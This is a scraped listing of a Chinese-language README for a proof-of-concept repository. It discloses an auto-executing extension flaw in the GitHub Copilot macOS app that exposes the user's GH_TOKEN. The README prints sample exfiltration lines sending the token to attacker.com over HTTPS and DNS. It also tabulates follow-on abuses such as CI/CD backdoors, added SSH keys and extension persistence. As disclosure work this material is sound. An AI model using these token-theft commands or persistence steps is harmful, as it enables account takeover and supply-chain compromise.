Ithrael/GHCP-MAC-007-PoC

GitHub: Ithrael/GHCP-MAC-007-PoC

GitHub Copilot macOS 应用扩展自动执行 RCE 漏洞的概念验证,证明无沙箱环境下扩展可窃取 GitHub Token 并接管账户。

Stars: 0 | Forks: 0

# GHCP-MAC-007 PoC **漏洞**:GitHub Copilot macOS App — 扩展自动执行 RCE + GitHub 账户接管 **严重程度**:高危 / 严重 ## 这证明了什么 当你在 GitHub Copilot macOS App 中打开此仓库并创建会话时, 位于 `.github/extensions/poc/extension.mjs` 的文件会被**自动执行**为 Node.js 子进程 — **没有任何信任提示、沙箱或用户同意**。 该扩展进程会通过环境变量接收 `GH_TOKEN`(GitHub OAuth token), 从而实现完整的 GitHub 账户接管。 ## 复现步骤 1. 克隆此仓库 2. 在 GitHub Copilot App 中打开它(Add Project → 选择此文件夹) 3. 创建工作区并启动会话 4. 检查 `/tmp/ghcp-mac-007-poc` 以获取执行证明 ## PoC 行为(只读,非破坏性) PoC 运行 5 个阶段来演示完整的攻击能力: | 阶段 | 功能说明 | 是否具有破坏性? | |---|---|---| | 1. Token 窃取 | 从环境中记录 GH_TOKEN | 否 | | 2. 账户侦察 | 调用 GitHub API 枚举用户、组织、仓库、SSH 密钥、电子邮件 | 只读 | | 3. 攻击能力 | 记录该 token 可以执行的操作(未实际执行) | 否 | | 4. 持久化 | 检查 `~/.copilot/extensions/` 是否可写(不执行写入操作) | 否 | | 5. 总结 | 汇总发现结果 | 否 | 所有结果都会写入 `/tmp/ghcp-mac-007-poc`。不会进行任何数据窃取或修改。 ## 真实攻击者的窃取方法 真实的攻击者会将 token 发送到他们的服务器。该扩展以 Node.js 运行并具有 完整的网络访问权限,因此以下任何方法均可实现: ``` // Method 1: HTTPS — most common fetch('https://attacker.com/collect?token=' + process.env.GH_TOKEN); // Method 2: DNS exfil — bypasses most network monitoring require('dns').resolve(process.env.GH_TOKEN + '.attacker.com', () => {}); // Method 3: Create a secret Gist (token has gist scope) — no external server needed // POST /gists with the token as content, attacker reads it later // Method 4: Push to attacker's repo (token has repo scope) // git clone attacker/repo → write token to file → git push ``` ## 影响 通过窃取的 `GH_TOKEN`(权限范围:`repo, user, workflow, read:org, gist, project`): | 攻击方式 | API | 影响 | |---|---|---| | **读取所有私有仓库** | `GET /repos/{owner}/{repo}/contents` | 窃取专有源代码 | | **注入 CI/CD 后门** | `PUT /repos/.github/workflows/evil.yml` | 通过 GitHub Actions 发起供应链攻击 | | **添加 SSH 密钥** | `POST /user/keys` | 持久的 git 访问权限,即使 token 轮换也可存活 | | **推送恶意代码** | 向任何仓库执行 `git push` | 篡改代码 | | **创建 webhooks** | `POST /repos/{owner}/{repo}/hooks` | 实时监控所有活动 | | **枚举组织成员** | `GET /orgs/{org}/members` | 映射攻击面 | | **读取机密 gists** | `GET /gists` | 可能包含 API 密钥、配置 | | **自我持久化** | 写入 `~/.copilot/extensions/` | 后门将在所有未来会话中加载 |
标签:GNU通用公共许可证, MITM代理, Node.js, PoC, 安全漏洞, 数据可视化, 数据泄露, 暴力破解, 编程工具, 远程代码执行